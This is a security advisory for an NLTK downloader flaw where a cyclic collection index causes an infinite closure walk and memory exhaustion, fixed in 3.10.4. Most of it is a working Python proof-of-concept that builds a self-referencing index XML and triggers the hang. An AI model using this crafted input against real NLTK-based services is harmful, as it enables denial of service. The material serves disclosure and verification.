Vulnerability GHSA-pcm8-fqjx-rvx8

Medium Risk
MEDIUM RISK
CVSS Score: 6.5
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
4 days ago
November 19, 2026 at 11:54 PM UTC
NLTK: Downloader cyclic collection indices cause an infinite closure walk
3.6.7 - 3.10.3
3.6.7 - 3.10.3

Summary

NLTK: Downloader cyclic collection indices cause an infinite closure walk

Details

affected: PyPI nltk >= 3.6.7 — nltk.downloader index parsing (Downloader._update_index) dynamically reproduced: nltk 3.6.7 (4/4 checks), 3.9.2 (4/4), 3.10.3 (4/4), and develop 6818767b9 (4/4)

Reproduction script (self-contained)

#!/usr/bin/env python3
"""Self-checking reproduction: a cyclic collection index makes
``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.

Attack: an index XML whose ``<collection>`` references itself (or a mutual
cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``
strings with real ``Collection`` objects. The package-closure walk
(``for child in queue: ... queue.extend(child.children)``) has no visited set
and no depth cap, so the queue grows forever and the function never returns.

Controls:
  * an acyclic index of the same shape completes and yields the expected
    closure (the same function, the same caller, under the same memory cap);
  * the attack never returns normally: it either keeps running past a hard
    timeout (observed hang) or is aborted by the child's address-space cap
    (unbounded memory growth) -- in both cases the exact finite input that the
    control handles instantly cannot be completed.

Usage:
  python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]

Environment:
  NLTK_WHEEL   path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is
               installed into a scratch dir and put on PYTHONPATH for the
               verification children.
  NLTK_TIMEOUT  hard timeout seconds for each child (default: 60).
  MEMCAP_MIB    address-space cap per child in MiB (default: 512); can also be
               passed as the first positional argument.
"""

import os
import resource
import subprocess
import sys
import tempfile
import textwrap
import time
from xml.etree import ElementTree

def _default_memcap():
    if len(sys.argv) > 1 and sys.argv[1] != "--child":
        raw = sys.argv[1]
    else:
        raw = os.environ.get("MEMCAP_MIB", "512")
    try:
        value = int(raw)
    except (TypeError, ValueError):
        print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr)
        return "512"
    return str(value) if value > 0 else "512"


MEMCAP_MIB = int(_default_memcap())
CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60"))

CYCLIC_INDEX = """<?xml version="1.0"?>
<index>
  <packages>
    <package id="p1" name="Sample corpus" subdir="corpora/p1"
             url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
  </packages>
  <collections>
    <collection id="a" name="Cyclic collection">
      <item ref="a"/>
      <item ref="p1"/>
    </collection>
  </collections>
</index>
"""

ACYCLIC_INDEX = """<?xml version="1.0"?>
<index>
  <packages>
    <package id="p1" name="Sample corpus" subdir="corpora/p1"
             url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
  </packages>
  <collections>
    <collection id="a" name="Acyclic collection">
      <item ref="p1"/>
    </collection>
  </collections>
</index>
"""

CHILD_DRIVER = r"""
import os
import resource
import sys

import nltk
import nltk.data as nltk_data

mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]

# Allow the local index file to be read under hardened pathsec (ENFORCE mode).
nltk_data.path.append(workdir)

cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))

from nltk.downloader import Downloader

downloader = Downloader(server_index_url=url)

if mode == "control":
    # _update_index() runs to completion here; the acyclic closure is finite.
    packages = list(downloader.packages())
    ids = sorted(p.id for p in packages)
    print("[PASS] control: Downloader.packages() returned (no hang)")
    assert ids == ["p1"], ids
    print("[PASS] control: _packages parsed = %r" % ids)
    col = next(c for c in downloader.collections() if c.id == "a")
    closure = sorted(p.id for p in col.packages)
    assert closure == ["p1"], closure
    print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure)
    sys.exit(0)
elif mode == "attack":
    # This call drives _update_index -> the collection-closure BFS. The index
    # collection self-references itself, so the BFS never terminates; the queue
    # keeps growing until the address-space cap aborts the process.
    print("[attack] entering Downloader.packages() on the self-referencing index ...")
    _ = downloader.packages()
    print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered")
    sys.exit(2)
else:
    print("[FAIL] unknown mode %r" % mode)
    sys.exit(2)
"""


def build_site_env(workdir):
    """Return (env, site_path_or_None) so the children can import nltk."""
    probe = subprocess.run(
        [sys.executable, "-c", "import nltk"],
        capture_output=True,
    )
    if probe.returncode == 0:
        return dict(os.environ), None
    wheel = os.environ.get("NLTK_WHEEL")
    if not wheel:
        return None, None
    site = os.path.join(workdir, "site")
    subprocess.run(
        [sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel],
        check=True,
    )
    env = dict(os.environ)
    env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "")
    return env, site


def run_child(env, script, mode, url, workdir):
    cmd = [sys.executable, script, "--child", mode, url, workdir]
    start = time.monotonic()
    try:
        proc = subprocess.run(
            cmd,
            env=env,
            capture_output=True,
            text=True,
            timeout=CHILD_TIMEOUT,
        )
        timed_out = False
    except subprocess.TimeoutExpired as exc:
        proc = exc
        timed_out = True
    elapsed = time.monotonic() - start
    stdout = proc.stdout if hasattr(proc, "stdout") else ""
    stderr = proc.stderr if hasattr(proc, "stderr") else ""
    return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed


def main():
    results = []

    def check(name, cond, detail=""):
        results.append(bool(cond))
        print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, ("  (%s)" % detail if detail else "")))

    with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir:
        cyclic_path = os.path.join(workdir, "index_cyclic.xml")
        acyclic_path = os.path.join(workdir, "index_acyclic.xml")
        with open(cyclic_path, "w") as fh:
            fh.write(CYCLIC_INDEX)
        with open(acyclic_path, "w") as fh:
            fh.write(ACYCLIC_INDEX)
        cyclic_url = "file://" + cyclic_path
        acyclic_url = "file://" + acyclic_path

        # --- Input modeling preconditions -------------------------------
        cyc = ElementTree.parse(cyclic_path).getroot()
        col = cyc.find("collections/collection")
        check(
            "precondition: cyclic index has a self-referencing <collection>",
            col is not None and col.get("id") == "a"
            and any((it.get("ref") == "a" for it in col.findall("item"))),
            "ref='a' inside <collection id='a'>",
        )
        acy = ElementTree.parse(acyclic_path).getroot()
        cola = acy.find("collections/collection")
        check(
            "precondition: acyclic control index references only packages",
            cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"],
        )

        env, site = build_site_env(workdir)
        if env is None:
            print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr)
            return 1
        child_env = dict(env)
        child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB)

        # --- Control: acyclic index completes under the same memory cap ---
        t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir)
        print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else ""))
        if out:
            print(out, end="")
        if err:
            print(err, end="")
        check(
            "control: acyclic index completes and yields the documented finite closure",
            (not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err),
            "rc=%s" % rc,
        )

        # --- Attack: cyclic index must NOT complete ----------------------
        t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir)
        print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else ""))
        if out:
            print(out, end="")
        if err:
            print(err, end="")
        if t:
            check(
                "attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT,
                True,
                "process still running, queue growing unboundedly",
            )
        elif rc is not None and rc != 0:
            memory = "MemoryError" in (out + err) or "MemoryError" in err
            check(
                "attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB,
                memory,
                "rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"),
            )
        else:
            check(
                "attack: self-referencing index hangs _update_index (vulnerability reproduced)",
                False,
                "function returned -- cyclic input was handled",
            )

        # --- Version banner ---------------------------------------------
        ver_out = subprocess.run(
            [sys.executable, "-c", "import nltk; print(nltk.__version__)"],
            env=env,
            capture_output=True,
            text=True,
        ).stdout.strip()
        print("nltk under test: %s" % (ver_out or "unknown"))

    passed = sum(results)
    failed = len(results) - passed
    print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed))
    return 0 if failed == 0 else 1


if __name__ == "__main__":
    if len(sys.argv) >= 2 and sys.argv[1] == "--child":
        os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])
    sys.exit(main())

Fix status (2026-09-28)

Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).

PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).

Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).

Release: none yet; no release tag contains b77d329db.

Impacted packages

Timeline

Published
4 days ago
November 19, 2026 at 11:54 PM UTC
Fixed (3.10.4)
1 month ago
October 21, 2026 at 11:34 AM UTC
Last Modified
4 days ago
November 20, 2026 at 12:00 AM UTC